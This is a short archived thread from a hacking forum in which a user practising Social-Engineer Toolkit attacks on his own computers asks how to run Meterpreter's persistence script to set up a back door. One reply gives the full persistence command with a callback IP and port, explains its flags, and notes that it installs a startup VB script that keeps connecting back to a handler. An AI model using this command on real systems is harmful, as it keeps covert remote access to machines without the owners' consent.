EvilZone

Hacking and Security => Hacking and Security => : powerkickeR March 01, 2012, 01:47:09 AM

: BT5 - Meterpreter - Persistance help
: powerkickeR March 01, 2012, 01:47:09 AM
Well, I've been practicing compromising my own computers with the SET. I've been using the Java applet attack, or using the infectious media generator, which makes an autorun and a server(sort to speak) file. Once I have access to my own system and spawned a meterpreter shell, how can I run the persistance module? I type in
 
 "run persistance -h"
 
 and in return I get "The specified script could not be found: persistance"
 
 I'm trying to set up a back door so I can have access to it later, can anyone help me here?

: Re: BT5 - Meterpreter - Persistance help
: Hot_Chip March 04, 2012, 08:01:40 AM
some times you have to migrate to a new service because you brake stuff...

what you should do is
:
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.0.112
-U = automatically starts a module when the user logs in.
 -i = interval between each connection to the remote IP address configured.
 -p = port to reach on the remote IP address for Metasploit connection, i.e. the persistence process on the target system will try to connect to 192.168.0.112 on port 443 every 5 seconds.
 -r = reachable remote IP address to have handler shell.

what this does is adds a VB script to auto run at user start up.
: Re: BT5 - Meterpreter - Persistance help
: Stackprotector March 04, 2012, 12:00:34 PM
Did you load the module? :P